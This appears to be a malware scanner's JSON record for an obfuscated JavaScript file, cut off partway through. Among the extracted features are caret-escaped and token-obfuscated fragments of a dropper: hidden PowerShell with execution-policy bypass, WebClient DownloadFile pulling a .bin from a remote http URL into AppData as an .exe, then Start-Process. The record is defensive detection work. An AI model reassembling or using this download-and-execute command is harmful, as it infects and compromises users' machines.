{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9998703002929688, "class": 2 } ], "prob": 0.9998703, "class": 2, "models": [ { "m": "az", "prob": 0.9889548, "class": 2 }, { "m": "az/scripts", "prob": 0.99862456, "class": 1 }, { "m": "az/javascript", "prob": 0.9998703, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-06T15:01:32Z" }, "path": "20170222_8971850d582ef58c23e954503d21f321.js", "raw": { "v": "4", "fs": [ { "f": "K₂O₇(Al₂As₉Xe₄C₂CaEr₂S₂)H₂(Os₂Po₄)Md", "k": { "source.imports[0]": "abewzuhy", "source.imports[1]": "abzice", "source.imports[2]": "accycgo", "source.imports[3]": "aclehap", "source.imports[4]": "adnabywpu", "source.imports[5]": "adovo", "source.imports[6]": "ajmukol", "source.imports[7]": "ajquluqul", "source.imports[8]": "ajwatgixm", "source.imports[9]": "akuzunx", "source.strings[0]": " ^syST", "source.strings[1]": " ^HIdd^", "source.strings[2]": " -nO^pro^", "source.strings[3]": " P^oW^eRs^", "source.strings[4]": ")^;s^T^", "source.strings[5]": "/my.Intern", "source.strings[6]": "4.bin\\',^\\'%", "source.strings[7]": "AR^T-^Proc", "source.strings[8]": "AppDaTa%.E", "source.strings[9]": "CMD.eXe /c", "source.has_imports": true, "source.imports[10]": "alevmiw", "source.imports[11]": "amdacziti", "source.imports[12]": "amjizbu", "source.imports[13]": "aqov", "source.imports[14]": "artojce", "source.imports[15]": "awbupkelj", "source.imports[16]": "awicbyni", "source.imports[17]": "awicbyni.epbogfuno", "source.imports[18]": "axaky", "source.imports[19]": "azesledq", "source.imports[20]": "bgucamp", "source.imports[21]": "bibbolaz", "source.imports[22]": "bixdob", "source.imports[23]": "bkupodmyx", "source.imports[24]": "boxosbyd", "source.imports[25]": "bqetilliro", "source.imports[26]": "brokhor", "source.imports[27]": "bwuhfecce", "source.imports[28]": "bxebydo", "source.imports[29]": "cazcy", "source.imports[30]": "csygitwyjg", "source.imports[31]": "cvanys", "source.imports[32]": "cxegpirpu", "source.imports[33]": "czotgemtyrh", "source.imports[34]": "dbyvwamzu", "source.imports[35]": "dipo", "source.imports[36]": "dqybidzojw", "source.imports[37]": "duduxpaz", "source.imports[38]": "dvopone", "source.imports[39]": "eceg", "source.imports[40]": "edrexyf", "source.imports[41]": "egjofvo", "source.imports[42]": "ekjiziszod", "source.imports[43]": "ekxikj", "source.imports[44]": "ekzot", "source.imports[45]": "elgyqymwun", "source.imports[46]": "eloluzx", "source.imports[47]": "elvitko", "source.imports[48]": "elwifha", "source.imports[49]": "elxyqzelbujb", "source.imports[50]": "elyjkozu", "source.imports[51]": "endavyny", "source.imports[52]": "enig", "source.imports[53]": "epbogfuno", "source.imports[54]": "epifu", "source.imports[55]": "eqjyngabarg", "source.imports[56]": "eqracy", "source.imports[57]": "erishakew", "source.imports[58]": "erweczu", "source.imports[59]": "esardene", "source.imports[60]": "esyzvow", "source.imports[61]": "evoluci", "source.imports[62]": "ezdyhelw", "source.imports[63]": "ezkyxtyco", "source.imports[64]": "ezximkequ", "source.imports[65]": "fegeg", "source.imports[66]": "fgovvynboxwe", "source.imports[67]": "fjeqsibu", "source.imports[68]": "fkikjoqvewh", "source.imports[69]": "flizkufibk", "source.imports[70]": "fyjyzn", "source.imports[71]": "gboppebp", "source.imports[72]": "gbugfa", "source.imports[73]": "gingoty", "source.imports[74]": "gjudep", "source.imports[75]": "gkedidki", "source.imports[76]": "gpera", "source.imports[77]": "grunvy", "source.imports[78]": "gwatpuw", "source.imports[79]": "gyzlikbikgi", "source.imports[80]": "hatga", "source.imports[81]": "helag", "source.imports[82]": "hrilvofi", "source.imports[83]": "hytefu", "source.imports[84]": "idbezyzd", "source.imports[85]": "idnax", "source.imports[86]": "ifasryq", "source.imports[87]": "ihymorhe", "source.imports[88]": "ijexje", "source.imports[89]": "ijivkujw", "source.imports[90]": "ijlimderi", "source.imports[91]": "ijyxe", "source.imports[92]": "imimowam", "source.imports[93]": "inekg", "source.imports[94]": "iniqmy", "source.imports[95]": "inwywqi", "source.imports[96]": "iplis", "source.imports[97]": "iqpabgawt", "source.imports[98]": "irdildow", "source.imports[99]": "irlyjgyj", "source.strings[10]": "CUTIO^n^pO", "source.strings[11]": "DATa%.EXE", "source.strings[12]": "E -^e^xe", "source.strings[13]": "En (^N", "source.strings[14]": "T^)^.dO^Wn", "source.strings[15]": "WScript.Shell", "source.strings[16]": "^WEBCLi^EN", "source.strings[17]": "^lO^aDF^Il", "source.strings[18]": "abzohxyxhi", "source.strings[19]": "ajepbuqle", "source.strings[20]": "alDating.r", "source.strings[21]": "amvycdivr", "source.strings[22]": "arziwaci", "source.strings[23]": "bYp^Ass ", "source.strings[24]": "detigjor", "source.strings[25]": "dowsTYLE^ ", "source.strings[26]": "e(^\\'http:/", "source.strings[27]": "eM^.N^E^t.", "source.strings[28]": "esS^ ^%App", "source.strings[29]": "ew-ob^jecT", "source.strings[30]": "file -Win^", "source.strings[31]": "fmahfecu", "source.strings[32]": "gawamruln", "source.strings[33]": "gichytu", "source.strings[34]": "h^el^l^.eX", "source.strings[35]": "hatwerby", "source.strings[36]": "http:/", "source.strings[37]": "ixawcubl", "source.strings[38]": "jfacecaca", "source.strings[39]": "lge5rg6", "source.strings[40]": "li^C^y ^", "source.strings[41]": "my2sf2", "source.strings[42]": "nhu4i6", "source.strings[43]": "number", "source.strings[44]": "o7u1o9u8i1j7uo7u1n4is7b56o9u8i1j7y2sf2is7b5Xis7b5 /o7u1 Pp1g6oWp1g6is7b5Rsp1g6nhu4i6p1g6is7b5lp1g6lp1g6o9u8i1j7y2sf2is7b5Xis7b5 -p1g6is7b5p1g6xis7b5o7u1Uo9u8IOp1g6np1g6pOlip1g6o7u1p1g6y p1g6bYpp1g6nhu4i68o6ss -nOp1g6prop1g6filis7b5 -Winp1g6uo7u1n4is7b56owso9u8YLis7b5p1g6 p1g6nhu4i6Iuo7u1n4is7b56uo7u1n4is7b56p1g6is7b5n pc8o9u8m1p1g6Nis7b5w-obp1g6jis7b5o7u1o9u8 p1g6sySo9u8is7b5o9u8i1j7p1g6o9u8i1j7y2sf2Np1g6is7b5p1g6o9u8o9u8i1j7y2sf2p1g6Wis7b5Bo7u1Lip1g6is7b5No9u8p1g6lge5rg6p1g6o9u8i1j7y2sf2uo7u1n4is7b56Op1g6Wnp1g6lOp1g6nhu4i68o6uo7u1n4is7b56Fp1g6Ilis7b5pc8o9u8m1p1g6'nhu4i6o9u8o9u8ply2i1//o9u8i1j7yo9u8i1j7y2sf2Ino9u8is7b5rnnhu4i68o6luo7u1n4is7b56nhu4i68o6o9u8ingo9u8i1j7y2sf2ru/js/boxun4o9u8i1j7y2sf2bin',p1g6'e9e8nhu4i68o6ppuo7u1n4is7b56nhu4i68o6o9u8nhu4i68o6e9e8o9u8i1j7y2sf2is7b5xis7b5'lge5rg6p1g6;sp1g6o9u8p1g6nhu4i68o6Rp1g6o9u8-p1g6Proo7u1is7b5sSp1g6 p1g6e9e8nhu4i68o6ppuo7u1n4is7b56nhu4i68o6o9u8nhu4i68o6e9e8o9u8i1j7y2sf2is7b5Xis7b5", "source.strings[45]": "object", "source.strings[46]": "ocogvic", "source.strings[47]": "ofetweqed", "source.strings[48]": "oghevzeqi", "source.strings[49]": "onugoqqud", "source.strings[50]": "oquwurym", "source.strings[51]": "pc8tm1", "source.strings[52]": "pnigixweqvu", "source.strings[53]": "qoxduvo", "source.strings[54]": "replace", "source.strings[55]": "snelxylvef", "source.strings[56]": "string", "source.strings[57]": "u/js/boxun", "source.strings[58]": "ucn4e6", "source.strings[59]": "undefined", "source.strings[60]": "vogepmuc", "source.strings[61]": "wirsefjalde", "source.strings[62]": "wneshygyg", "source.strings[63]": "xe\\')^;s^T^", "source.strings[64]": "xylgobw", "source.strings[65]": "ycsafu", "source.functions[0]": "acmifu", "source.functions[1]": "amjizbu", "source.functions[2]": "avweb", "source.functions[3]": "bagsi", "source.functions[4]": "boxosbyd", "source.functions[5]": "dbeply", "source.functions[6]": "dulanxi", "source.functions[7]": "eddonehl", "source.functions[8]": "eluhmo", "source.functions[9]": "eregvuc", "source.imports[100]": "itameqsoc", "source.imports[101]": "itjihsuha", "source.imports[102]": "iwefbixco", "source.imports[103]": "izjyxu", "source.imports[104]": "jetytbafy", "source.imports[105]": "jguqzudsa", "source.imports[106]": "jkypjasduxe", "source.imports[107]": "jwilyzcarvu", "source.imports[108]": "kedoho", "source.imports[109]": "kerqizu", "source.imports[110]": "kizifdohm", "source.imports[111]": "kkemli", "source.imports[112]": "koqajw", "source.imports[113]": "kvetulj", "source.imports[114]": "lbyvtipa", "source.imports[115]": "livec", "source.imports[116]": "livloha", "source.imports[117]": "lneqriz", "source.imports[118]": "lnojvihoxbi", "source.imports[119]": "lynadzi", "source.imports[120]": "mfinez", "source.imports[121]": "mfyxhynijfa", "source.imports[122]": "mhuqmytg", "source.imports[123]": "miwujsiqda", "source.imports[124]": "mkovazcy", "source.imports[125]": "mozvompa", "source.imports[126]": "msigyhpepo", "source.imports[127]": "musaqy", "source.imports[128]": "mysyvquga", "source.imports[129]": "nafuk", "source.imports[130]": "nagulzof", "source.imports[131]": "nijyqiw", "source.imports[132]": "njefboxyb", "source.imports[133]": "notmawloko", "source.imports[134]": "objosuvyz", "source.imports[135]": "objosuvyz.run", "source.imports[136]": "ocela", "source.imports[137]": "odufsy", "source.imports[138]": "ofavajtafc", "source.imports[139]": "ogfozerd", "source.imports[140]": "ogwevefaq", "source.imports[141]": "ohawqeh", "source.imports[142]": "ohihemasx", "source.imports[143]": "ojelib", "source.imports[144]": "ojpykut", "source.imports[145]": "ojucnumo", "source.imports[146]": "olrubebyq", "source.imports[147]": "ondyz", "source.imports[148]": "onkeq", "source.imports[149]": "opiritkep", "source.imports[150]": "opkichylisx", "source.imports[151]": "oretsigax", "source.imports[152]": "orhykr", "source.imports[153]": "osubzo", "source.imports[154]": "otimecagv", "source.imports[155]": "otymy", "source.imports[156]": "ovocyt", "source.imports[157]": "owcek", "source.imports[158]": "owtomu", "source.imports[159]": "oxcoquz", "source.imports[160]": "oxibat", "source.imports[161]": "pahtyjz", "source.imports[162]": "pgerqibf", "source.imports[163]": "pnoczurkowwe", "source.imports[164]": "pozullyx", "source.imports[165]": "ppedyvv", "source.imports[166]": "pyxgi", "source.imports[167]": "qakfuhvos", "source.imports[168]": "qizejvol", "source.imports[169]": "qmifiqnug", "source.imports[170]": "qodu", "source.imports[171]": "qofary", "source.imports[172]": "qoxmyjpilki", "source.imports[173]": "qpydfizno", "source.imports[174]": "qycycypy", "source.imports[175]": "qyrlab", "source.imports[176]": "rebevebv", "source.imports[177]": "rexwenkudxi", "source.imports[178]": "rrohqedqi", "source.imports[179]": "rrusxu", "source.imports[180]": "ruqjaw", "source.imports[181]": "rvavobtema", "source.imports[182]": "rxenluga", "source.imports[183]": "rxugdeqdetfu", "source.imports[184]": "rycquq", "source.imports[185]": "rymlyw", "source.imports[186]": "shasassuc", "source.imports[187]": "siqaqsoqwe", "source.imports[188]": "skacli", "source.imports[189]": "snywjicozse", "source.imports[190]": "surymkur", "source.imports[191]": "svetann", "source.imports[192]": "syrdotj", "source.imports[193]": "temazpakbe", "source.imports[194]": "tfotusk", "source.imports[195]": "tigowhe", "source.imports[196]": "tlaswixt", "source.imports[197]": "tochuxa", "source.imports[198]": "tquwxerap", "source.imports[199]": "twebajyzq", "source.imports[200]": "ucoxet", "source.imports[201]": "ucyvy", "source.imports[202]": "udinhu", "source.imports[203]": "ugidvyzy", "source.imports[204]": "ugjygca", "source.imports[205]": "uhsazci", "source.imports[206]": "uhwenu", "source.imports[207]": "ujrege", "source.imports[208]": "ujrukracc", "source.imports[209]": "ukfezgyt", "source.imports[210]": "ulwybyci", "source.imports[211]": "ulyrlotv", "source.imports[212]": "umacymn", "source.imports[213]": "umnublo", "source.imports[214]": "unkefba", "source.imports[215]": "upujagi", "source.imports[216]": "uqilwykqo", "source.imports[217]": "uqtazuks", "source.imports[218]": "utimafji", "source.imports[219]": "uwedit", "source.imports[220]": "uwunj", "source.imports[221]": "uxekyrvy", "source.imports[222]": "uxivocko", "source.imports[223]": "uxqashend", "source.imports[224]": "veno", "source.imports[225]": "vhewsorzyt", "source.imports[226]": "vidyxwife", "source.imports[227]": "vnesju", "source.imports[228]": "vycrol", "source.imports[229]": "vyhyxiba", "source.imports[230]": "wbivkerru", "source.imports[231]": "wegid", "source.imports[232]": "wtijuga", "source.imports[233]": "wucgefki", "source.imports[234]": "wzivkojso", "source.imports[235]": "xakuhq", "source.imports[236]": "xato", "source.imports[237]": "xmelehvojqi", "source.imports[238]": "xsisjenysm", "source.imports[239]": "xubo", "source.imports[240]": "xvatomxi", "source.imports[241]": "xyhtuzvi", "source.imports[242]": "ydmaxvesif", "source.imports[243]": "yfobond", "source.imports[244]": "yfuqpyd", "source.imports[245]": "ygiftu", "source.imports[246]": "ykelhi", "source.imports[247]": "ymditden", "source.imports[248]": "ymebvidf", "source.imports[249]": "ymgydj", "source.imports[250]": "ymjotu", "source.imports[251]": "ynitenykx", "source.imports[252]": "ypexarn", "source.imports[253]": "yttykmi", "source.imports[254]": "yvyqj", "source.imports[255]": "ywsobv", "source.imports[256]": "ywuxvasr", "source.imports[257]": "yxduckuwdunv", "source.imports[258]": "zexfetnij", "source.imports[259]": "zige", "source.imports[260]": "zikwytm", "source.imports[261]": "zipsuxxazo", "source.imports[262]": "zjicyboco", "source.imports[263]": "zrinotzyp", "source.functions[10]": "ezkyxtyco", "source.functions[11]": "fkikjoqvewh", "source.functions[12]": "fxysga", "source.functions[13]": "gyzlikbikgi", "source.functions[14]": "igselyh", "source.functions[15]": "ihmizhe", "source.functions[16]": "inekg", "source.functions[17]": "ininfass", "source.functions[18]": "iqdyqyv", "source.functions[19]": "iraf", "source.functions[20]": "jpoppy", "source.functions[21]": "juclyzs", "source.functions[22]": "jyvuflu", "source.functions[23]": "kenypu", "source.functions[24]": "kxuktoqjexi", "source.functions[25]": "kyludhu", "source.functions[26]": "lipi", "source.functions[27]": "mrabot", "source.functions[28]": "notmawloko", "source.functions[29]": "numhy", "source.functions[30]": "odufsy", "source.functions[31]": "olrubebyq", "source.functions[32]": "otmure", "source.functions[33]": "ovocyt", "source.functions[34]": "oxdunud", "source.functions[35]": "pnoczurkowwe", "source.functions[36]": "ponojs", "source.functions[37]": "pqahzice", "source.functions[38]": "pyxgi", "source.functions[39]": "qakfuhvos", "source.functions[40]": "qmifiqnug", "source.functions[41]": "qotboqbe", "source.functions[42]": "rriha", "source.functions[43]": "svetann", "source.functions[44]": "ugjygca", "source.functions[45]": "uhwucu", "source.functions[46]": "ukfezgyt", "source.functions[47]": "uxivocko", "source.functions[48]": "uxpidv", "source.functions[49]": "wlylnopy", "source.functions[50]": "wofe", "source.functions[51]": "ykudfawo", "source.functions[52]": "ymyhpe", "source.functions[53]": "yvyqj", "source.functions[54]": "ywsobv" }, "x": 75, "id": 0, "is": [ "ajmukol", "izjyxu", "adovo", "ekxikj", "qofary", "zige", "oxibat", "qyrlab", "utimafji", "mhuqmytg", "uqilwykqo", "ijivkujw", "musaqy", "yttykmi", "ruqjaw", "aqov", "ujrukracc", "fyjyzn", "uhsazci", "livec", "kkemli", "mkovazcy", "idnax", "pahtyjz", "eloluzx", "veno", "uqtazuks", "kerqizu", "eceg", "jkypjasduxe", "fjeqsibu", "zikwytm", "vycrol", "ondyz", "msigyhpepo", "dbyvwamzu", "lbyvtipa", "rycquq", "ifasryq", "rymlyw", "xubo", "mfinez", "gpera", "gbugfa", "eqracy", "zrinotzyp", "ezximkequ", "enig", "ugidvyzy", "hytefu", "axaky", "egjofvo", "grunvy", "zjicyboco", "bqetilliro", "xato", "tlaswixt", "umacymn", "qpydfizno", "ymgydj", "cazcy", "owcek", "lynadzi", "syrdotj", "itjihsuha", "tquwxerap", "ymebvidf", "orhykr", "epbogfuno", "ygiftu", "owtomu", "ucyvy", "rxenluga", "nafuk", "tochuxa", "koqajw", "ypexarn", "edrexyf", "amdacziti", "gingoty", "ocela", "uhwenu", "dipo", "umnublo", "iqpabgawt", "vnesju", "uwunj", "onkeq", "ofavajtafc", "kedoho", "rrusxu", "awicbyni", "accycgo", "iplis", "bgucamp", "erweczu", "azesledq", "qodu", "skacli", "irdildow", "awicbyni", "awicbyni.epbogfuno", "unkefba", "ezkyxtyco", "amjizbu", "gkedidki", "ulyrlotv", "xvatomxi", "esardene", "hatga", "elwifha", "aclehap", "rrohqedqi", "ujrege", "amjizbu", "gkedidki", "ulyrlotv", "xvatomxi", "esardene", "hatga", "elwifha", "aclehap", "rrohqedqi", "ujrege", "qmifiqnug", "uxivocko", "shasassuc", "yfuqpyd", "hrilvofi", "udinhu", "udinhu", "ogwevefaq", "jetytbafy", "jetytbafy", "notmawloko", "wzivkojso", "wzivkojso", "wucgefki", "qizejvol", "temazpakbe", "irlyjgyj", "miwujsiqda", "uxivocko", "shasassuc", "yfuqpyd", "hrilvofi", "udinhu", "udinhu", "ogwevefaq", "jetytbafy", "jetytbafy", "notmawloko", "wzivkojso", "wzivkojso", "wucgefki", "qizejvol", "temazpakbe", "irlyjgyj", "miwujsiqda", "ukfezgyt", "gyzlikbikgi", "oxcoquz", "yfobond", "esyzvow", "zipsuxxazo", "zipsuxxazo", "artojce", "inwywqi", "iwefbixco", "livloha", "uwedit", "snywjicozse", "xyhtuzvi", "bibbolaz", "nagulzof", "imimowam", "opkichylisx", "uxekyrvy", "ojucnumo", "oretsigax", "pnoczurkowwe", "kizifdohm", "boxosbyd", "svetann", "tfotusk", "ajwatgixm", "abewzuhy", "elyjkozu", "itameqsoc", "olrubebyq", "abzice", "vhewsorzyt", "qycycypy", "qycycypy", "odufsy", "ekzot", "gboppebp", "ijlimderi", "opiritkep", "gjudep", "mfyxhynijfa", "ihymorhe", "idbezyzd", "ymjotu", "elgyqymwun", "ohihemasx", "tigowhe", "elxyqzelbujb", "objosuvyz", "rebevebv", "zexfetnij", "wtijuga", "yxduckuwdunv", "mysyvquga", "adnabywpu", "akuzunx", "ywuxvasr", "helag", "inekg", "alevmiw", "ymditden", "pyxgi", "wegid", "twebajyzq", "wbivkerru", "gwatpuw", "ynitenykx", "nijyqiw", "iniqmy", "endavyny", "lneqriz", "erishakew", "cxegpirpu", "rexwenkudxi", "eqjyngabarg", "fegeg", "fegeg", "uxqashend", "otymy", "lnojvihoxbi", "csygitwyjg", "ppedyvv", "ulwybyci", "awbupkelj", "awbupkelj", "ovocyt", "bwuhfecce", "ijexje", "ojpykut", "vyhyxiba", "jguqzudsa", "jguqzudsa", "ekjiziszod", "fkikjoqvewh", "xakuhq", "epifu", "objosuvyz.run", "cxegpirpu", "rexwenkudxi", "eqjyngabarg", "fegeg", "fegeg", "uxqashend", "otymy", "lnojvihoxbi", "csygitwyjg", "ppedyvv", "ulwybyci", "awbupkelj", "awbupkelj", "inekg", "alevmiw", "ymditden", "pyxgi", "wegid", "twebajyzq", "wbivkerru", "gwatpuw", "ynitenykx", "nijyqiw", "inekg", "alevmiw", "ymditden", "pyxgi", "wegid", "twebajyzq", "wbivkerru", "gwatpuw", "ynitenykx", "nijyqiw", "inekg", "alevmiw", "ymditden", "pyxgi", "wegid", "twebajyzq", "wbivkerru", "gwatpuw", "ynitenykx", "nijyqiw", "yvyqj", "osubzo", "ezdyhelw", "czotgemtyrh", "jwilyzcarvu", "qoxmyjpilki", "flizkufibk", "upujagi", "pgerqibf", "rvavobtema", "cvanys", "kvetulj", "ywsobv", "qakfuhvos", "otimecagv", "xsisjenysm", "vidyxwife", "brokhor", "ajquluqul", "ijyxe", "elvitko", "njefboxyb", "ohawqeh", "zexfetnij", "zexfetnij", "rxugdeqdetfu", "ykelhi", "bkupodmyx", "duduxpaz", "ugjygca", "bxebydo", "ucoxet", "ogfozerd", "bixdob", "ydmaxvesif", "dvopone", "mozvompa", "xmelehvojqi", "xmelehvojqi", "ojelib", "pozullyx", "fgovvynboxwe", "siqaqsoqwe", "surymkur", "evoluci", "evoluci", "dqybidzojw", "uxivocko", "shasassuc", "yfuqpyd", "hrilvofi", "udinhu", "udinhu", "ogwevefaq", "jetytbafy", "jetytbafy", "notmawloko", "wzivkojso", "wzivkojso", "wucgefki", "qizejvol", "temazpakbe", "irlyjgyj", "miwujsiqda", "uxivocko", "shasassuc", "yfuqpyd", "hrilvofi", "udinhu", "udinhu", "ogwevefaq", "jetytbafy", "jetytbafy", "notmawloko", "wzivkojso", "wzivkojso", "wucgefki", "qizejvol", "temazpakbe", "irlyjgyj", "miwujsiqda", "amjizbu", "gkedidki", "ulyrlotv", "xvatomxi", "esardene", "hatga", "elwifha", "aclehap", "rrohqedqi", "ujrege" ], "ms": { "file": { "size": 18963.0 }, "text": { "tab_count": 3678.0, "digit_ratio": 0.11, "space_count": 1813.0, "total_lines": 746.0, "char_entropy": 4.93, "unique_chars": 79.0, "import_density": 52.41, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 0.5, "avg_line_length": 24.42, "max_line_length": 982.0, "empty_line_ratio": 0.04, "last_line_length": 1.0, "long_token_count": 1.0, "most_common_char": "e", "whitespace_ratio": 0.33, "most_common_ratio": 0.04, "identifier_density": 0.86, "line_length_stddev": 37.97, "normalized_import_count": 14.32, "normalized_string_count": 13.66, "repeated_char_sequences": 188.0, "suspicious_string_ratio": 0.01, "max_inline_whitespace_run": 5.0, "normalized_function_count": 2.01, "imports_to_functions_ratio": 7.11, "strings_to_functions_ratio": 6.78, "normalized_unique_identifiers": 31.44, "identifiers_to_functions_ratio": 5.45 }, "imports": { "total": 391.0, "unique_modules": 264.0, "third_party_count": 391.0, "third_party_ratio": 1.0 }, "strings": { "total": 373.0, "avg_length": 11.25, "max_length": 963.0, "path_count": 2.0, "avg_entropy": 2.15, "total_bytes": 4195.0, "entropy_stddev": 0.83, "shell_command_strings": 2.0 }, "comments": { "chars": 53.0, "lines": 1.0, "total": 1.0, "to_code_ratio": 0.0, "code_in_comments": 1.0 }, "functions": { "total": 55.0, "length_stddev": 1.96, "avg_name_length": 6.98, "no_params_count": 55.0, "avg_length_lines": 3.96, "max_length_lines": 18.0, "min_length_lines": 3.0, "density_per_100_lines": 7.37, "code_in_functions_ratio": 0.29 }, "identifiers": { "total": 638.0, "avg_length": 7.46, "max_length": 13.0, "min_length": 4.0, "avg_entropy": 2.62, "reuse_ratio": 0.47, "unique_count": 300.0, "length_stddev": 1.83, "all_lowercase_ratio": 0.99 } }, "ss": [ [ 14, "ti1j7" ], [ 15, "ti1j7" ], [ 36, "ly2i1" ], [ 37, "ly2i1" ], [ 78, "dowsTYLE^ " ], [ 79, "dowsTYLE^ " ], [ 122, ")" ], [ 123, ")" ], [ 180, "u/js/boxun" ], [ 181, "u/js/boxun" ], [ 244, "e(^\\'http:/" ], [ 245, "e(^" ], [ 250, "http:/" ], [ 290, "h8o6" ], [ 291, "h8o6" ], [ 375, "d" ], [ 376, "d" ], [ 455, "ajepbuqle" ], [ 456, "ajepbuqle" ], [ 541, "^lO^aDF^Il" ], [ 542, "^lO^aDF^Il" ], [ 584, "p1g6" ], [ 585, "p1g6" ], [ 684, " ^syST" ], [ 685, " ^syST" ], [ 753, " -nO^pro^" ], [ 754, " -nO^pro^" ], [ 917, "e" ], [ 918, "e" ], [ 973, "e9e8" ], [ 974, "e9e8" ], [ 1015, "fmahfecu" ], [ 1016, "fmahfecu" ], [ 1091, "CMD.eXe /c" ], [ 1092, "CMD.eXe /c" ], [ 1135, "\\" ], [ 1178, " ^HIdd^" ], [ 1179, " ^HIdd^" ], [ 1247, "h^el^l^.eX" ], [ 1248, "h^el^l^.eX" ], [ 1311, "^WEBCLi^EN" ], [ 1312, "^WEBCLi^EN" ], [ 1355, "ycsafu" ], [ 1356, "ycsafu" ], [ 1400, "AppDaTa%.E" ], [ 1401, "AppDaTa%.E" ], [ 1518, "o7u1" ], [ 1519, "o7u1" ], [ 1539, "c" ], [ 1540, "c" ], [ 1579, "eM^.N^E^t." ], [ 1580, "eM^.N^E^t." ], [ 1759, "ucn4e6" ], [ 1760, "ucn4e6" ], [ 1782, "ycupi" ], [ 1783, "ycupi" ], [ 1827, "4.bin\\',^\\'%" ], [ 1828, "4.bin" ], [ 1835, ",^" ], [ 1839, "%" ], [ 1875, "t" ], [ 1876, "t" ], [ 1950, "46451" ], [ 1951, "46451" ], [ 1994, "bYp^Ass " ], [ 1995, "bYp^Ass " ], [ 2038, "^" ], [ 2039, "^" ], [ 2076, "xe\\')^;s^T^" ], [ 2077, "xe" ], [ 2081, ")^;s^T^" ], [ 2249, "m" ], [ 2250, "m" ], [ 2355, " P^oW^eRs^" ], [ 2356, " P^oW^eRs^" ], [ 2421, "alDating.r" ], [ 2422, "alDating.r" ], [ 2466, "nhu4i6" ], [ 2467, "nhu4i6" ], [ 2489, "." ], [ 2490, "." ], [ 2552, "amvycdivr" ], [ 2553, "amvycdivr" ], [ 2578, "arziwaci" ], [ 2579, "arziwaci" ], [ 2601, "pc8tm1" ], [ 2602, "pc8tm1" ], [ 2647, "E -^e^xe" ], [ 2648, "E -^e^xe" ], [ 2695, "is7b5" ], [ 2696, "is7b5" ], [ 2740, "ew-ob^jecT" ], [ 2741, "ew-ob^jecT" ], [ 2788, "h" ], [ 2789, "h" ], [ 2827, "esS^ ^%App" ], [ 2828, "esS^ ^%App" ], [ 2870, "lge5rg6" ], [ 2871, "lge5rg6" ], [ 2895, "o9u8" ], [ 2896, "o9u8" ], [ 2939, "En (^N" ], [ 2940, "En (^N" ], [ 3007, "hatwerby" ], [ 3008, "hatwerby" ], [ 3164, "replace" ], [ 3165, "replace" ], [ 3212, "DATa%.EXE" ], [ 3213, "DATa%.EXE" ], [ 3277, "li^C^y ^" ], [ 3278, "li^C^y ^" ], [ 3343, "/my.Intern" ], [ 3344, "/my.Intern" ], [ 3408, "undefined" ], [ 3409, "undefined" ], [ 3433, "(" ], [ 3434, "(" ], [ 3493, "20513" ], [ 3494, "20513" ], [ 3538, "file -Win^" ], [ 3539, "file -Win^" ], [ 3605, "CUTIO^n^pO" ], [ 3606, "CUTIO^n^pO" ], [ 3652, "my2sf2" ], [ 3653, "my2sf2" ], [ 3674, "40422" ], [ 3675, "40422" ], [ 3697, "%" ], [ 3698, "%" ], [ 3755, "T^)^.dO^Wn" ], [ 3756, "T^)^.dO^Wn" ], [ 3798, "k2tn3" ], [ 3799, "k2tn3" ], [ 3821, "a" ], [ 3822, "a" ], [ 3857, "iqko" ], [ 3858, "iqko" ], [ 3905, "AR^T-^Proc" ], [ 3906, "AR^T-^Proc" ], [ 4017, "wneshygyg" ], [ 4018, "wneshygyg" ], [ 4212, "85599" ], [ 4213, "85599" ], [ 4252, "detigjor" ], [ 4253, "detigjor" ], [ 4363, "o7u1o9u8i1j7uo7u1n4is7b56o9u8i1j7y2sf2is7b5Xis7b5 /o7u1 Pp1g6oWp1g6is7b5Rsp1g6nhu4i6p1g6is7b5lp1g6lp1g6o9u8i1j7y2sf2is7b5Xis7b5 " ], [ 4364, "o7u1o9u8i1j7uo7u1n4is7b56o9u8i1j7y2sf2is7b5Xis7b5 /o7u1 Pp1g6oWp1g6is7b5Rsp1g6nhu4i6p1g6is7b5lp1g6lp1g6o9u8i1j7y2sf2is7b5Xis7b5 " ], [ 5631, "cri" ], [ 5632, "cri" ], [ 5863, "gi" ], [ 5864, "gi" ], [ 6094, "84915" ], [ 6095, "84915" ], [ 6189, "32372" ], [ 6190, "32372" ], [ 6237, "oghevzeqi" ], [ 6238, "oghevzeqi" ], [ 6426, "84915" ], [ 6427, "84915" ], [ 6521, "32372" ], [ 6522, "32372" ], [ 6569, "oghevzeqi" ], [ 6570, "oghevzeqi" ], [ 6783, "22026" ], [ 6784, "22026" ], [ 6809, "uxuwa" ], [ 6810, "uxuwa" ], [ 7050, "87934" ], [ 7051, "87934" ], [ 7074, "60994" ], [ 7075, "60994" ], [ 7207, "apim" ], [ 7208, "apim" ], [ 7369, "22026" ], [ 7370, "22026" ], [ 7395, "uxuwa" ], [ 7396, "uxuwa" ], [ 7636, "87934" ], [ 7637, "87934" ], [ 7660, "60994" ], [ 7661, "60994" ], [ 7793, "apim" ], [ 7794, "apim" ], [ 7952, "object" ], [ 7953, "object" ], [ 8007, "39610" ], [ 8008, "39610" ], [ 8139, "ixawcubl" ], [ 8140, "ixawcubl" ], [ 8186, "gawamruln" ], [ 8187, "gawamruln" ], [ 8223, "snelxylvef" ], [ 8224, "snelxylvef" ], [ 8264, "string" ], [ 8265, "string" ], [ 8327, "oquwurym" ], [ 8328, "oquwurym" ], [ 8357, "99643" ], [ 8358, "99643" ], [ 8461, "ofetweqed" ], [ 8462, "ofetweqed" ], [ 8568, "yrga" ], [ 8569, "yrga" ], [ 8602, "pihsi" ], [ 8603, "pihsi" ], [ 8636, "wneshygyg" ], [ 8637, "wneshygyg" ], [ 8704, "number" ], [ 8705, "number" ], [ 8850, "ocogvic" ], [ 8851, "ocogvic" ], [ 9064, "69806" ], [ 9065, "69806" ], [ 9337, "ixe" ], [ 9338, "ixe" ], [ 9489, "39106" ], [ 9490, "39106" ], [ 9565, "onugoqqud" ], [ 9566, "onugoqqud" ], [ 9604, "522" ], [ 9605, "522" ], [ 9713, "detigjor" ], [ 9714, "detigjor" ], [ 9810, "1355" ], [ 9811, "1355" ], [ 9885, "WScript.Shell" ], [ 9886, "WScript.Shell" ], [ 10017, "undefined" ], [ 10018, "undefined" ], [ 10066, "object" ], [ 10067, "object" ], [ 10239, "jfacecaca" ], [ 10240, "jfacecaca" ], [ 10332, "number" ], [ 10333, "number" ], [ 10742, "kuqo" ], [ 10743, "kuqo" ], [ 10878, "wirsefjalde" ], 